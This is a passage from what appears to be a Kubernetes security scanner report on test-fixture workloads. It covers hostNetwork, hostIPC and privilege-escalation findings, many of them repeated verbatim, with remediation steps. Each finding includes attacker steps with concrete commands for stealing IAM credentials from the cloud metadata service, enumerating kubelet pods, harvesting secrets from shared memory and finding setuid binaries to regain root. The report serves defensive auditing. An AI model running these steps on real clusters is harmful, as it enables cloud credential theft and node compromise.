The most dangerous consequence is that NetworkPolicies cannot apply. Cilium, Calico, and the upstream NetworkPolicy spec key off the pod's veth and labels, and a hostNetwork pod has neither, so all egress filtering is silently bypassed. On managed Kubernetes (EKS/GKE/AKS) the workload can reach the cloud Instance Metadata Service at 169.254.169.254 even when the cluster has set IMDSv2 hop-count protection. The result is a one-step path from container RCE to AWS/Azure/GCP IAM credential theft.

The pod can also bind privileged ports the host already uses, redirect kube-proxy, sniff service traffic, or scan internal-only addresses such as 127.0.0.1:10250 (kubelet) which is otherwise unreachable from a normal pod.

Impact Bypasses NetworkPolicy and IMDSv2 hop protection; container reaches cloud metadata, kubelet localhost, and any node-loopback service. This pivots cluster compromise into cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueContainer escape to host

The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

  1. Gain code execution in the pod (web RCE, malicious image).
  2. Confirm hostNetwork: ip addr shows the node's primary interface, not a pod CIDR.
  3. Hit the IMDS: curl -s http://169.254.169.254/latest/api/token -X PUT -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600' then fetch iam/security-credentials/<role>.
  4. Use stolen IAM creds with aws sts get-caller-identity and pivot to S3/EKS API.
  5. Optional: probe 127.0.0.1:10250 (kubelet). If anonymous auth is enabled, run curl -k https://127.0.0.1:10250/pods to enumerate every pod on the node and exec into any of them.
Remediation
Set hostNetwork: false (default) and route any node-level networking through a CNI-managed Service or NetworkPolicy-aware DaemonSet.
  1. Audit if hostNetwork is required. Typically only kube-proxy, CNI agents, or node-local DNS legitimately need it.
  2. Remove hostNetwork: true. If a host port is genuinely required, prefer a Service of type NodePort or an Ingress controller behind a NetworkPolicy.
  3. Enforce IMDSv2 with hop-limit = 1 on every node; apply an egress NetworkPolicy denying 169.254.169.254/32 for application namespaces.
  4. Validate: kubectl get deployment/psa-unlabeled-app -n psa-unlabeled-fixtures -o jsonpath='{.spec.template.spec.hostNetwork}' is empty/false; kubectl exec ... -- curl -m 2 http://169.254.169.254/ should fail.
Evidence
hostNetworktrue
Shares the node's network namespace (sees every pod's traffic, binds to node IPs)
Show raw JSON
{
  "hostNetwork": true
}
HIGH Deployment/vulnerable/risky-app Workload 8.1
Pod shares host network (hostNetwork: true) in Deployment/vulnerable/risky-app
Scope · Workload Workload Deployment/vulnerable/risky-app
Category: Lateral Movement Resource: Deployment/vulnerable/risky-app Namespace: vulnerable

Workload Deployment/vulnerable/risky-app sets spec.hostNetwork: true. The container is no longer in a sandboxed network namespace. It sees the node's interfaces, listens on the node's IPs and ports, and reaches every loopback service the kubelet talks to.

The most dangerous consequence is that NetworkPolicies cannot apply. Cilium, Calico, and the upstream NetworkPolicy spec key off the pod's veth and labels, and a hostNetwork pod has neither, so all egress filtering is silently bypassed. On managed Kubernetes (EKS/GKE/AKS) the workload can reach the cloud Instance Metadata Service at 169.254.169.254 even when the cluster has set IMDSv2 hop-count protection. The result is a one-step path from container RCE to AWS/Azure/GCP IAM credential theft.

The pod can also bind privileged ports the host already uses, redirect kube-proxy, sniff service traffic, or scan internal-only addresses such as 127.0.0.1:10250 (kubelet) which is otherwise unreachable from a normal pod.

Impact Bypasses NetworkPolicy and IMDSv2 hop protection; container reaches cloud metadata, kubelet localhost, and any node-loopback service. This pivots cluster compromise into cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueContainer escape to host

The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

  1. Gain code execution in the pod (web RCE, malicious image).
  2. Confirm hostNetwork: ip addr shows the node's primary interface, not a pod CIDR.
  3. Hit the IMDS: curl -s http://169.254.169.254/latest/api/token -X PUT -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600' then fetch iam/security-credentials/<role>.
  4. Use stolen IAM creds with aws sts get-caller-identity and pivot to S3/EKS API.
  5. Optional: probe 127.0.0.1:10250 (kubelet). If anonymous auth is enabled, run curl -k https://127.0.0.1:10250/pods to enumerate every pod on the node and exec into any of them.
Remediation
Set hostNetwork: false (default) and route any node-level networking through a CNI-managed Service or NetworkPolicy-aware DaemonSet.
  1. Audit if hostNetwork is required. Typically only kube-proxy, CNI agents, or node-local DNS legitimately need it.
  2. Remove hostNetwork: true. If a host port is genuinely required, prefer a Service of type NodePort or an Ingress controller behind a NetworkPolicy.
  3. Enforce IMDSv2 with hop-limit = 1 on every node; apply an egress NetworkPolicy denying 169.254.169.254/32 for application namespaces.
  4. Validate: kubectl get deployment/risky-app -n vulnerable -o jsonpath='{.spec.template.spec.hostNetwork}' is empty/false; kubectl exec ... -- curl -m 2 http://169.254.169.254/ should fail.
Evidence
hostNetworktrue
Shares the node's network namespace (sees every pod's traffic, binds to node IPs)
Show raw JSON
{
  "hostNetwork": true
}
HIGH

Pod shares host IPC (hostIPC: true) in Deployment/vulnerable/host-ns-app

KUBE-ESCAPE-004 1 subject Score 8.0
MITRE ATT&CK: T1611T1552.001T1005

Affected subject

HIGH Deployment/vulnerable/host-ns-app Workload 8.0
Pod shares host IPC (hostIPC: true) in Deployment/vulnerable/host-ns-app
Scope · Workload Workload Deployment/vulnerable/host-ns-app
Category: Privilege Escalation Resource: Deployment/vulnerable/host-ns-app Namespace: vulnerable

Workload Deployment/vulnerable/host-ns-app sets spec.hostIPC: true, joining the host's IPC (Inter-Process Communication) namespace. The container can read and write the host's POSIX shared-memory segments (/dev/shm), SysV shared memory, message queues, and semaphore arrays.

The attack surface is data, not code execution. Many host-resident processes (caching layers, GPU compute via CUDA's cuMemAlloc, Redis with unixsocket, Postgres' shared buffers, even kernel-side IMA logs) store in-memory state in IPC segments under the assumption no untrusted process can address them. With hostIPC: true an attacker dumps every visible segment, harvests cached secrets, replays message queues, or corrupts semaphores to cause denial-of-service.

Bishop Fox's bad-pods/hostipc example uses ipcs -m to list shared-memory segments and ipcs -p to identify owning PIDs, then cat /dev/shm/* (or attaches via shmat) to extract their contents. hostIPC is forbidden by the Pod Security Standards Baseline level.

Impact Read or modify shared memory and SysV IPC of every process on the node; leak in-memory secrets, GPU buffers, database caches; denial-of-service via semaphore corruption.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueContainer escape to host

The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

  1. Gain code execution in the pod with hostIPC enabled.
  2. Enumerate IPC: ipcs -a lists shared-memory IDs, message queues, and semaphores.
  3. Dump /dev/shm: ls -la /dev/shm; for f in /dev/shm/*; do strings "$f" | grep -iE 'token|secret|key'; done.
  4. Attach to a SysV segment with a small program (shmat(shmid, 0, SHM_RDONLY)) and exfiltrate.
  5. If a co-tenant runs an in-memory cache (Redis without disk persistence, an ML inference engine), extract model weights or session tokens still resident.
Remediation
Set hostIPC: false (default).
  1. Confirm no legitimate IPC sharing requirement; very few application workloads need this. Typically only NVIDIA GPU sharing or some HPC workloads.
  2. Remove hostIPC: true from the pod template.
  3. Where shared memory is a feature need (containers cooperating), use a single Pod with multiple containers and an emptyDir { medium: Memory } volume instead of host IPC.
  4. Validate: kubectl get deployment/host-ns-app -n vulnerable -o jsonpath='{.spec.template.spec.hostIPC}' is empty/false.
Evidence
hostIPCtrue
Shares the node's IPC namespace (reads other processes' shared memory)
Show raw JSON
{
  "hostIPC": true
}
HIGH

Container api allows privilege escalation in Deployment/flat-network/api

KUBE-PODSEC-APE-001 26 subjects Score 7.8
MITRE ATT&CK: T1548.001T1611

Affected subjects (26)

HIGH Deployment/flat-network/api Workload 7.8
Container api allows privilege escalation in Deployment/flat-network/api
Scope · Workload Workload Deployment/flat-network/api
Category: Privilege Escalation Resource: Deployment/flat-network/api Namespace: flat-network

Container api in Deployment/flat-network/api either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n flat-network -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapi
Show raw JSON
{
  "container": "api"
}
HIGH DaemonSet/rbac-fixtures/daemon-app Workload 7.8
Container app allows privilege escalation in DaemonSet/rbac-fixtures/daemon-app
Scope · Workload Workload DaemonSet/rbac-fixtures/daemon-app, runs on every node (per-node blast radius)
Category: Privilege Escalation Resource: DaemonSet/rbac-fixtures/daemon-app Namespace: rbac-fixtures

Container app in DaemonSet/rbac-fixtures/daemon-app either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDaemonSet

A DaemonSet schedules one pod per node, typically for cluster infrastructure (CNI, log shipping, node monitoring). DaemonSets are frequent targets because they often need hostNetwork, hostPath, or privileged to do their job, which makes them ideal for attackers if compromised.

  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n rbac-fixtures -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/cloud-eks-test/imds-pivot-app Workload 7.8
Container app allows privilege escalation in Deployment/cloud-eks-test/imds-pivot-app
Scope · Workload Workload Deployment/cloud-eks-test/imds-pivot-app
Category: Privilege Escalation Resource: Deployment/cloud-eks-test/imds-pivot-app Namespace: cloud-eks-test

Container app in Deployment/cloud-eks-test/imds-pivot-app either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n cloud-eks-test -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/cloud-eks-test/irsa-admin-app Workload 7.8
Container app allows privilege escalation in Deployment/cloud-eks-test/irsa-admin-app
Scope · Workload Workload Deployment/cloud-eks-test/irsa-admin-app
Category: Privilege Escalation Resource: Deployment/cloud-eks-test/irsa-admin-app Namespace: cloud-eks-test

Container app in Deployment/cloud-eks-test/irsa-admin-app either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n cloud-eks-test -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/containersec-fixtures/containersec-image Workload 7.8
Container app allows privilege escalation in Deployment/containersec-fixtures/containersec-image
Scope · Workload Workload Deployment/containersec-fixtures/containersec-image
Category: Privilege Escalation Resource: Deployment/containersec-fixtures/containersec-image Namespace: containersec-fixtures

Container app in Deployment/containersec-fixtures/containersec-image either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n containersec-fixtures -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/containersec-fixtures/containersec-lifecycle Workload 7.8
Container app allows privilege escalation in Deployment/containersec-fixtures/containersec-lifecycle
Scope · Workload Workload Deployment/containersec-fixtures/containersec-lifecycle
Category: Privilege Escalation Resource: Deployment/containersec-fixtures/containersec-lifecycle Namespace: containersec-fixtures

Container app in Deployment/containersec-fixtures/containersec-lifecycle either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n containersec-fixtures -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/containersec-fixtures/containersec-limits Workload 7.8
Container app allows privilege escalation in Deployment/containersec-fixtures/containersec-limits
Scope · Workload Workload Deployment/containersec-fixtures/containersec-limits
Category: Privilege Escalation Resource: Deployment/containersec-fixtures/containersec-limits Namespace: containersec-fixtures

Container app in Deployment/containersec-fixtures/containersec-limits either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n containersec-fixtures -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/containersec-fixtures/containersec-probes Workload 7.8
Container app allows privilege escalation in Deployment/containersec-fixtures/containersec-probes
Scope · Workload Workload Deployment/containersec-fixtures/containersec-probes
Category: Privilege Escalation Resource: Deployment/containersec-fixtures/containersec-probes Namespace: containersec-fixtures

Container app in Deployment/containersec-fixtures/containersec-probes either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n containersec-fixtures -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/csr-fixtures/csr-mint-app Workload 7.8
Container app allows privilege escalation in Deployment/csr-fixtures/csr-mint-app
Scope · Workload Workload Deployment/csr-fixtures/csr-mint-app
Category: Privilege Escalation Resource: Deployment/csr-fixtures/csr-mint-app Namespace: csr-fixtures

Container app in Deployment/csr-fixtures/csr-mint-app either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n csr-fixtures -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/flat-network/unmatched Workload 7.8
Container app allows privilege escalation in Deployment/flat-network/unmatched
Scope · Workload Workload Deployment/flat-network/unmatched
Category: Privilege Escalation Resource: Deployment/flat-network/unmatched Namespace: flat-network

Container app in Deployment/flat-network/unmatched either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
